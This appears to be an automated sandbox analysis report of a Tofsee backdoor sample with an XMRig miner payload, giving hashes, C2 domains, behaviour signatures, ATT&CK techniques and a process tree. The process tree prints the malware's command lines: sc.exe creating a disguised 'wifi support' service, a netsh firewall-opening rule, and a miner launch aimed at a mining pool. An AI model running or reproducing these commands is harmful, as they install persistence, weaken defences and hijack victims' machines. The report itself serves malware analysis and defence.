Analysis

  • max time kernel
    142s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    20-06-2022 15:59

General

  • Target

    63263a6a2a9455c1159d95e2afd705167219e9f35ad5d59ef186e25ab02ba1cb.exe

  • Size

    313KB

  • MD5

    b440d803ab42f31567a4d4d61aa4ef94

  • SHA1

    232319681df1e403b35fb69d95bd1dfce23b600f

  • SHA256

    63263a6a2a9455c1159d95e2afd705167219e9f35ad5d59ef186e25ab02ba1cb

  • SHA512

    78808ce22660e9e75615f0aa55e6e74e668d7b7689b020a1b54e7114a3746230ebc8da96882440c89304d50bf135796ad972be0ea3ff7a1237721587d07af497

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\63263a6a2a9455c1159d95e2afd705167219e9f35ad5d59ef186e25ab02ba1cb.exe
    "C:\Users\Admin\AppData\Local\Temp\63263a6a2a9455c1159d95e2afd705167219e9f35ad5d59ef186e25ab02ba1cb.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:948
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kycxvzrx\
      2⤵
        PID:2428
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tebrxmqr.exe" C:\Windows\SysWOW64\kycxvzrx\
        2⤵
          PID:2664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kycxvzrx binPath= "C:\Windows\SysWOW64\kycxvzrx\tebrxmqr.exe /d\"C:\Users\Admin\AppData\Local\Temp\63263a6a2a9455c1159d95e2afd705167219e9f35ad5d59ef186e25ab02ba1cb.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4764
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kycxvzrx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3808
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kycxvzrx
          2⤵
          • Launches sc.exe
          PID:4504
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:5096
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 948 -s 1276
          2⤵
          • Program crash
          PID:960
      • C:\Windows\SysWOW64\kycxvzrx\tebrxmqr.exe
        C:\Windows\SysWOW64\kycxvzrx\tebrxmqr.exe /d"C:\Users\Admin\AppData\Local\Temp\63263a6a2a9455c1159d95e2afd705167219e9f35ad5d59ef186e25ab02ba1cb.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2996
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2996 -s 516
          2⤵
          • Program crash
          PID:4896
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1076
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4844
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 948 -ip 948
        1⤵
          PID:4368
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2996 -ip 2996
          1⤵
            PID:3512

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\tebrxmqr.exe
            Filesize

            13.7MB

            MD5

            b0c3b835c48fc7aae5997514bc2590d1

            SHA1

            19270c1a0d2491133e5417f743c978e527e77ac0

            SHA256

            8616499336758c783f6a4e9adabebd204078e6a1901825eec8d40781548d4fdb

            SHA512

            2f2c16fc5b316a9ebae94882e68dbdcf495c06183d5c7fc3b0a071e7599187a702eda3715ada94d6c1d4211d00fd5be83f96907eec429f7de7eded36d9e0746c

          • C:\Windows\SysWOW64\kycxvzrx\tebrxmqr.exe
            Filesize

            13.7MB

            MD5

            b0c3b835c48fc7aae5997514bc2590d1

            SHA1

            19270c1a0d2491133e5417f743c978e527e77ac0

            SHA256

            8616499336758c783f6a4e9adabebd204078e6a1901825eec8d40781548d4fdb

            SHA512

            2f2c16fc5b316a9ebae94882e68dbdcf495c06183d5c7fc3b0a071e7599187a702eda3715ada94d6c1d4211d00fd5be83f96907eec429f7de7eded36d9e0746c

          • memory/948-131-0x0000000002FAE000-0x0000000002FBC000-memory.dmp
            Filesize

            56KB

          • memory/948-132-0x0000000002F00000-0x0000000002F13000-memory.dmp
            Filesize

            76KB

          • memory/948-133-0x0000000000400000-0x0000000002C6D000-memory.dmp
            Filesize

            40.4MB

          • memory/948-141-0x0000000000400000-0x0000000002C6D000-memory.dmp
            Filesize

            40.4MB

          • memory/1076-150-0x0000000003000000-0x000000000320F000-memory.dmp
            Filesize

            2.1MB

          • memory/1076-149-0x0000000000CF0000-0x0000000000D05000-memory.dmp
            Filesize

            84KB

          • memory/1076-165-0x00000000033E0000-0x00000000033E7000-memory.dmp
            Filesize

            28KB

          • memory/1076-162-0x0000000007E80000-0x000000000828B000-memory.dmp
            Filesize

            4.0MB

          • memory/1076-159-0x00000000033D0000-0x00000000033D5000-memory.dmp
            Filesize

            20KB

          • memory/1076-156-0x0000000002370000-0x0000000002380000-memory.dmp
            Filesize

            64KB

          • memory/1076-143-0x0000000000CF0000-0x0000000000D05000-memory.dmp
            Filesize

            84KB

          • memory/1076-142-0x0000000000000000-mapping.dmp
          • memory/1076-153-0x0000000002360000-0x0000000002366000-memory.dmp
            Filesize

            24KB

          • memory/1076-148-0x0000000000CF0000-0x0000000000D05000-memory.dmp
            Filesize

            84KB

          • memory/2428-130-0x0000000000000000-mapping.dmp
          • memory/2664-134-0x0000000000000000-mapping.dmp
          • memory/2996-147-0x0000000000400000-0x0000000002C6D000-memory.dmp
            Filesize

            40.4MB

          • memory/2996-146-0x0000000002DB9000-0x0000000002DC7000-memory.dmp
            Filesize

            56KB

          • memory/3808-137-0x0000000000000000-mapping.dmp
          • memory/4504-138-0x0000000000000000-mapping.dmp
          • memory/4764-136-0x0000000000000000-mapping.dmp
          • memory/4844-168-0x0000000000000000-mapping.dmp
          • memory/4844-169-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/4844-174-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/5096-140-0x0000000000000000-mapping.dmp